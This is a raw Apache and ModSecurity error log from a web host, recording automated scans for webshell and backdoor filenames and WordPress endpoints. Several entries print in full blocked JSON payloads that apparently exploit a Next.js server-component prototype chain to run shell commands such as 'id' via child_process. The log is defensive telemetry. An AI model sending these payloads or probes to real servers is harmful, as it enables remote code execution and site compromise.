16490] [client 4.230.47.126:36364] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.de/ [Thu Dec 11 04:23:34.761232 2025] [:error] [pid 16067:tid 16100] [client 4.230.47.126:36366] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.google.fr/ [Thu Dec 11 04:23:34.978556 2025] [:error] [pid 16483:tid 16496] [client 4.230.47.126:36368] File does not exist: /home/coldtecp/public_html/info.php, referer: https://duckduckgo.com/ [Thu Dec 11 04:23:35.213840 2025] [:error] [pid 16483:tid 16499] [client 4.230.47.126:36370] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.fr/ [Thu Dec 11 04:23:35.441754 2025] [:error] [pid 16483:tid 16503] [client 4.230.47.126:36372] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Thu Dec 11 04:23:35.652833 2025] [:error] [pid 16483:tid 16505] [client 4.230.47.126:36374] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.fr/ [Thu Dec 11 04:23:35.865251 2025] [:error] [pid 16483:tid 16504] [client 4.230.47.126:36376] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.com/ [Thu Dec 11 04:23:36.088858 2025] [:error] [pid 16483:tid 16486] [client 4.230.47.126:36378] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.de/ [Thu Dec 11 04:23:36.345296 2025] [:error] [pid 16068:tid 16112] [client 4.230.47.126:36380] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.google.co.uk/ [Thu Dec 11 04:23:36.603688 2025] [:error] [pid 16067:tid 16097] [client 4.230.47.126:36382] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.com/ [Thu Dec 11 04:23:58.743433 2025] [:error] [pid 16068:tid 16121] [client 4.230.47.126:36494] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.bing.com/ 2025/12/11 04:24:09 [error] 15887#15887: *836388 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.230.47.126, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.yahoo.com/" [Thu Dec 11 04:25:57.577440 2025] [:error] [pid 16483:tid 16499] [client 4.241.200.97:36748] File does not exist: /home/coldtecp/public_html/wp-links-opml.php, referer: https://www.bing.com/ [Thu Dec 11 04:25:57.922968 2025] [:error] [pid 16067:tid 16083] [client 4.241.200.97:36752] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.com/ [Thu Dec 11 04:26:02.088914 2025] [:error] [pid 16068:tid 16118] [client 4.241.200.97:36810] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.com/ [Thu Dec 11 04:26:07.994750 2025] [:error] [pid 16483:tid 16507] [client 4.241.200.97:36880] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.google.com/ [Thu Dec 11 04:26:08.167519 2025] [:error] [pid 16483:tid 16505] [client 4.241.200.97:36882] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:26:08.340505 2025] [:error] [pid 16483:tid 16509] [client 4.241.200.97:36884] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.bing.com/ [Thu Dec 11 04:26:08.513714 2025] [:error] [pid 16483:tid 16510] [client 4.241.200.97:36886] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Thu Dec 11 04:26:08.686555 2025] [:error] [pid 16483:tid 16491] [client 4.241.200.97:36888] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.com/ [Thu Dec 11 04:26:08.859739 2025] [:error] [pid 16483:tid 16489] [client 4.241.200.97:36890] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.com/ [Thu Dec 11 05:46:18.304517 2025] [:error] [pid 16069:tid 16139] [client 4.190.209.17:45772] File does not exist: /home/coldtecp/public_html/wp-links-opml.php, referer: https://www.google.co.uk/ [Thu Dec 11 05:46:18.671858 2025] [:error] [pid 16067:tid 16082] [client 4.190.209.17:45776] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.fr/ [Thu Dec 11 05:46:23.077549 2025] [:error] [pid 16069:tid 16144] [client 4.190.209.17:45832] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.de/ [Thu Dec 11 05:46:29.323740 2025] [:error] [pid 16067:tid 16084] [client 4.190.209.17:45904] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.google.co.uk/ [Thu Dec 11 05:46:29.507383 2025] [:error] [pid 16068:tid 16115] [client 4.190.209.17:45906] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.google.fr/ [Thu Dec 11 05:46:29.690738 2025] [:error] [pid 16483:tid 16500] [client 4.190.209.17:45908] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.de/ [Thu Dec 11 05:46:29.874270 2025] [:error] [pid 16068:tid 16118] [client 4.190.209.17:45910] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Thu Dec 11 05:46:30.057936 2025] [:error] [pid 16069:tid 16146] [client 4.190.209.17:45912] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.bing.com/ [Thu Dec 11 05:46:30.242222 2025] [:error] [pid 16069:tid 16130] [client 4.190.209.17:45914] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.fr/ [Thu Dec 11 06:11:32.447783 2025] [:error] [pid 16069:tid 16120] [client 93.188.35.149:47360] [client 93.188.35.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTqm5FfeM7SSdP4FsQNqtQAAAIk"] [Thu Dec 11 06:23:43.151387 2025] [:error] [pid 16483:tid 16490] [client 173.236.218.37:49326] [client 173.236.218.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTqpvwxj42rVEI5kiYCJOgAAAMQ"] [Thu Dec 11 06:34:44.769375 2025] [:error] [pid 16068:tid 16114] [client 4.193.219.228:51688] File does not exist: /home/coldtecp/public_html/404.php, referer: https://duckduckgo.com/ [Thu Dec 11 06:34:45.021467 2025] [:error] [pid 16068:tid 16135] [client 4.193.219.228:51690] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.fr/ [Thu Dec 11 06:34:45.274176 2025] [:error] [pid 16483:tid 16507] [client 4.193.219.228:51696] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.fr/ [Thu Dec 11 06:34:45.528339 2025] [:error] [pid 16483:tid 16496] [client 4.193.219.228:51698] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.de/ [Thu Dec 11 06:34:45.782592 2025] [:error] [pid 16069:tid 16106] [client 4.193.219.228:51700] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.yahoo.com/ [Thu Dec 11 06:34:46.034747 2025] [:error] [pid 16483:tid 16501] [client 4.193.219.228:51702] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.com/ [Thu Dec 11 06:34:46.287155 2025] [:error] [pid 16483:tid 16498] [client 4.193.219.228:51704] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.bing.com/ [Thu Dec 11 06:34:46.539456 2025] [:error] [pid 16483:tid 16508] [client 4.193.219.228:51706] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://duckduckgo.com/ [Thu Dec 11 06:34:46.791698 2025] [:error] [pid 16483:tid 16503] [client 4.193.219.228:51708] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.com/ [Thu Dec 11 06:34:47.548972 2025] [:error] [pid 16067:tid 16078] [client 4.193.219.228:51716] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.de/ [Thu Dec 11 06:34:47.800843 2025] [:error] [pid 16067:tid 16086] [client 4.193.219.228:51718] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.bing.com/ [Thu Dec 11 06:34:48.052700 2025] [:error] [pid 16069:tid 16148] [client 4.193.219.228:51720] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Thu Dec 11 06:34:48.304733 2025] [:error] [pid 16068:tid 16126] [client 4.193.219.228:51722] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.com/ [Thu Dec 11 06:34:48.556613 2025] [:error] [pid 16068:tid 16143] [client 4.193.219.228:51724] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.google.com/ [Thu Dec 11 06:34:49.317900 2025] [:error] [pid 16483:tid 16506] [client 4.193.219.228:51736] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.de/ [Thu Dec 11 06:34:49.570094 2025] [:error] [pid 16069:tid 16120] [client 4.193.219.228:51738] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.fr/ [Thu Dec 11 06:34:49.821727 2025] [:error] [pid 16068:tid 16125] [client 4.193.219.228:51740] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.bing.com/ [Thu Dec 11 06:34:50.073158 2025] [:error] [pid 16068:tid 16107] [client 4.193.219.228:51742] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.com/ [Thu Dec 11 06:34:50.325043 2025] [:error] [pid 16069:tid 16147] [client 4.193.219.228:51746] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.de/ [Thu Dec 11 06:34:50.577037 2025] [:error] [pid 16068:tid 16129] [client 4.193.219.228:51748] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Thu Dec 11 06:34:50.828610 2025] [:error] [pid 16483:tid 16487] [client 4.193.219.228:51750] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.yahoo.com/ [Thu Dec 11 06:34:51.332362 2025] [:error] [pid 16483:tid 16502] [client 4.193.219.228:51754] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.google.co.uk/ [Thu Dec 11 06:34:51.584086 2025] [:error] [pid 16483:tid 16505] [client 4.193.219.228:51756] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.yahoo.com/ [Thu Dec 11 06:34:52.340249 2025] [:error] [pid 16483:tid 16508] [client 4.193.219.228:51766] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.fr/ [Thu Dec 11 06:34:52.592248 2025] [:error] [pid 16483:tid 16503] [client 4.193.219.228:51768] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Thu Dec 11 06:34:52.847379 2025] [:error] [pid 16483:tid 16504] [client 4.193.219.228:51774] File does not exist: /home/coldtecp/public_html/k.php, referer: https://duckduckgo.com/ [Thu Dec 11 06:34:53.101403 2025] [:error] [pid 16483:tid 16491] [client 4.193.219.228:51776] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Thu Dec 11 06:34:53.610101 2025] [:error] [pid 16483:tid 16506] [client 4.193.219.228:51780] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.com/ [Thu Dec 11 06:34:54.113751 2025] [:error] [pid 16067:tid 16093] [client 4.193.219.228:51784] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.co.uk/ [Thu Dec 11 06:34:54.365366 2025] [:error] [pid 16069:tid 16113] [client 4.193.219.228:51786] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.google.com/ [Thu Dec 11 06:34:54.617100 2025] [:error] [pid 16069:tid 16123] [client 4.193.219.228:51788] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.co.uk/ [Thu Dec 11 06:34:55.372985 2025] [:error] [pid 16483:tid 16492] [client 4.193.219.228:51794] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Thu Dec 11 06:34:55.625069 2025] [:error] [pid 16069:tid 16108] [client 4.193.219.228:51796] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.yahoo.com/ [Thu Dec 11 06:34:59.667261 2025] [:error] [pid 16483:tid 16510] [client 4.193.219.228:51832] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.co.uk/ [Thu Dec 11 06:51:00.870611 2025] [:error] [pid 16483:tid 16498] [client 82.29.184.19:53446] [client 82.29.184.19] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTqwJAxj42rVEI5kiYCL3QAAAMw"] [Thu Dec 11 07:36:55.827076 2025] [:error] [pid 16068:tid 16107] [client 15.223.201.109:57476] [client 15.223.201.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTq65_Kp1RRPpm15GdzePwAAAEA"] [Thu Dec 11 08:48:47.969226 2025] [:error] [pid 16068:tid 16119] [client 20.214.245.245:43398] File does not exist: /home/coldtecp/public_html/wp-links-opml.php, referer: https://www.bing.com/ [Thu Dec 11 08:48:48.376231 2025] [:error] [pid 16067:tid 16079] [client 20.214.245.245:43402] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.co.uk/ [Thu Dec 11 08:48:53.274048 2025] [:error] [pid 16068:tid 16116] [client 20.214.245.245:43464] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.yahoo.com/ [Thu Dec 11 08:49:00.206127 2025] [:error] [pid 16068:tid 16107] [client 20.214.245.245:43548] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.bing.com/ [Thu Dec 11 08:49:00.409559 2025] [:error] [pid 16483:tid 16510] [client 20.214.245.245:43550] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.bing.com/ [Thu Dec 11 08:49:00.613613 2025] [:error] [pid 16483:tid 16506] [client 20.214.245.245:43552] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.com/ [Thu Dec 11 08:49:00.817314 2025] [:error] [pid 16483:tid 16497] [client 20.214.245.245:43556] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.de/ [Thu Dec 11 08:49:01.021179 2025] [:error] [pid 16483:tid 16504] [client 20.214.245.245:43560] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.fr/ [Thu Dec 11 08:49:01.224952 2025] [:error] [pid 16069:tid 16150] [client 20.214.245.245:43562] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.co.uk/ [Thu Dec 11 11:09:42.888602 2025] [:error] [pid 16068:tid 16129] [client 4.193.193.27:38520] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.fr/ [Thu Dec 11 11:09:43.126285 2025] [:error] [pid 16068:tid 16111] [client 4.193.193.27:38522] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.co.uk/ [Thu Dec 11 11:09:43.363858 2025] [:error] [pid 16068:tid 16124] [client 4.193.193.27:38528] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.com/ [Thu Dec 11 11:09:43.601414 2025] [:error] [pid 16067:tid 16100] [client 4.193.193.27:38530] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.de/ [Thu Dec 11 11:09:43.839522 2025] [:error] [pid 16483:tid 16492] [client 4.193.193.27:38532] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.bing.com/ [Thu Dec 11 11:09:44.085338 2025] [:error] [pid 16483:tid 16491] [client 4.193.193.27:38534] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.yahoo.com/ [Thu Dec 11 11:09:44.335068 2025] [:error] [pid 16483:tid 16505] [client 4.193.193.27:38536] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.yahoo.com/ [Thu Dec 11 11:09:44.572637 2025] [:error] [pid 16068:tid 16134] [client 4.193.193.27:38538] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.com/ [Thu Dec 11 11:09:44.810314 2025] [:error] [pid 16068:tid 16128] [client 4.193.193.27:38540] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.de/ [Thu Dec 11 11:09:45.529603 2025] [:error] [pid 16483:tid 16504] [client 4.193.193.27:38546] File does not exist: /home/coldtecp/public_html/av.php, referer: https://duckduckgo.com/ [Thu Dec 11 11:09:45.767151 2025] [:error] [pid 16483:tid 16496] [client 4.193.193.27:38548] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.fr/ [Thu Dec 11 11:09:46.004855 2025] [:error] [pid 16483:tid 16486] [client 4.193.193.27:38552] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Thu Dec 11 11:09:46.247649 2025] [:error] [pid 16483:tid 16497] [client 4.193.193.27:38554] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.yahoo.com/ [Thu Dec 11 11:09:46.496182 2025] [:error] [pid 16483:tid 16509] [client 4.193.193.27:38556] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.google.co.uk/ [Thu Dec 11 11:09:47.208567 2025] [:error] [pid 16483:tid 16510] [client 4.193.193.27:38566] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.fr/ [Thu Dec 11 11:09:47.446306 2025] [:error] [pid 16069:tid 16147] [client 4.193.193.27:38568] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.co.uk/ [Thu Dec 11 11:09:47.683718 2025] [:error] [pid 16067:tid 16078] [client 4.193.193.27:38570] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.co.uk/ [Thu Dec 11 11:09:47.920993 2025] [:error] [pid 16067:tid 16090] [client 4.193.193.27:38572] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.bing.com/ [Thu Dec 11 11:09:48.158327 2025] [:error] [pid 16483:tid 16501] [client 4.193.193.27:38574] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.de/ [Thu Dec 11 11:09:48.395782 2025] [:error] [pid 16483:tid 16494] [client 4.193.193.27:38576] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.yahoo.com/ [Thu Dec 11 11:09:48.633292 2025] [:error] [pid 16067:tid 16088] [client 4.193.193.27:38578] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.com/ [Thu Dec 11 11:09:49.113183 2025] [:error] [pid 16069:tid 16149] [client 4.193.193.27:38582] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.google.co.uk/ [Thu Dec 11 11:09:49.351014 2025] [:error] [pid 16068:tid 16125] [client 4.193.193.27:38584] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://duckduckgo.com/ [Thu Dec 11 11:09:50.063302 2025] [:error] [pid 16068:tid 16107] [client 4.193.193.27:38590] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.fr/ [Thu Dec 11 11:09:50.300840 2025] [:error] [pid 16068:tid 16140] [client 4.193.193.27:38592] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.bing.com/ [Thu Dec 11 11:09:50.538258 2025] [:error] [pid 16068:tid 16131] [client 4.193.193.27:38594] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.co.uk/ [Thu Dec 11 11:09:50.775534 2025] [:error] [pid 16483:tid 16500] [client 4.193.193.27:38598] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.com/ [Thu Dec 11 11:09:51.250561 2025] [:error] [pid 16483:tid 16502] [client 4.193.193.27:38604] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.co.uk/ [Thu Dec 11 11:09:51.741379 2025] [:error] [pid 16483:tid 16508] [client 4.193.193.27:38608] File does not exist: /home/coldtecp/public_html/new.php, referer: https://duckduckgo.com/ [Thu Dec 11 11:09:51.979349 2025] [:error] [pid 16483:tid 16498] [client 4.193.193.27:38610] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://duckduckgo.com/ [Thu Dec 11 11:09:52.217115 2025] [:error] [pid 16068:tid 16143] [client 4.193.193.27:38612] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.de/ [Thu Dec 11 11:09:52.930284 2025] [:error] [pid 16068:tid 16114] [client 4.193.193.27:38624] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://duckduckgo.com/ [Thu Dec 11 11:09:53.167862 2025] [:error] [pid 16068:tid 16121] [client 4.193.193.27:38628] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.de/ [Thu Dec 11 11:09:56.980893 2025] [:error] [pid 16068:tid 16111] [client 4.193.193.27:38694] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.com/ [Thu Dec 11 12:02:01.086060 2025] [:error] [pid 16067:tid 16087] [client 144.172.106.177:46018] File does not exist: /home/coldtecp/public_html/unzipper.php [Thu Dec 11 12:50:48.546861 2025] [:error] [pid 16068:tid 16112] [client 4.189.122.191:55644] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.fr/ [Thu Dec 11 12:50:48.729030 2025] [:error] [pid 16068:tid 16128] [client 4.189.122.191:55646] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.com/ [Thu Dec 11 12:50:48.911623 2025] [:error] [pid 16068:tid 16124] [client 4.189.122.191:55648] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.yahoo.com/ [Thu Dec 11 12:50:49.094186 2025] [:error] [pid 16068:tid 16129] [client 4.189.122.191:55650] File does not exist: /home/coldtecp/public_html/1.php, referer: https://duckduckgo.com/ [Thu Dec 11 12:50:49.289894 2025] [:error] [pid 16068:tid 16140] [client 4.189.122.191:55652] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:50:49.468234 2025] [:error] [pid 16068:tid 16138] [client 4.189.122.191:55654] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.yahoo.com/ [Thu Dec 11 12:50:49.652208 2025] [:error] [pid 16483:tid 16505] [client 4.189.122.191:55656] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.fr/ [Thu Dec 11 12:50:50.665522 2025] [:error] [pid 16483:tid 16501] [client 4.189.122.191:55658] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:50:51.149526 2025] [:error] [pid 16483:tid 16491] [client 4.189.122.191:55660] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.bing.com/ [Thu Dec 11 12:50:52.730142 2025] [:error] [pid 16483:tid 16502] [client 4.189.122.191:55676] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.fr/ [Thu Dec 11 12:50:53.339857 2025] [:error] [pid 16483:tid 16507] [client 4.189.122.191:55678] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.fr/ [Thu Dec 11 12:50:53.530210 2025] [:error] [pid 16483:tid 16494] [client 4.189.122.191:55680] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.com/ [Thu Dec 11 12:50:53.711212 2025] [:error] [pid 16483:tid 16508] [client 4.189.122.191:55682] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:50:54.159676 2025] [:error] [pid 16067:tid 16090] [client 4.189.122.191:55684] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.bing.com/ [Thu Dec 11 12:50:54.734233 2025] [:error] [pid 16483:tid 16498] [client 4.189.122.191:55694] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.yahoo.com/ [Thu Dec 11 12:50:54.911062 2025] [:error] [pid 16068:tid 16134] [client 4.189.122.191:55696] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.yahoo.com/ [Thu Dec 11 12:50:55.851522 2025] [:error] [pid 16068:tid 16116] [client 4.189.122.191:55700] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.yahoo.com/ [Thu Dec 11 12:50:56.692610 2025] [:error] [pid 16483:tid 16503] [client 4.189.122.191:55710] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.com/ [Thu Dec 11 12:50:56.869552 2025] [:error] [pid 16069:tid 16133] [client 4.189.122.191:55712] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.google.com/ [Thu Dec 11 12:50:57.570221 2025] [:error] [pid 16069:tid 16141] [client 4.189.122.191:55720] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.bing.com/ [Thu Dec 11 12:50:57.749421 2025] [:error] [pid 16483:tid 16501] [client 4.189.122.191:55722] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:50:58.282640 2025] [:error] [pid 16068:tid 16122] [client 4.189.122.191:55724] 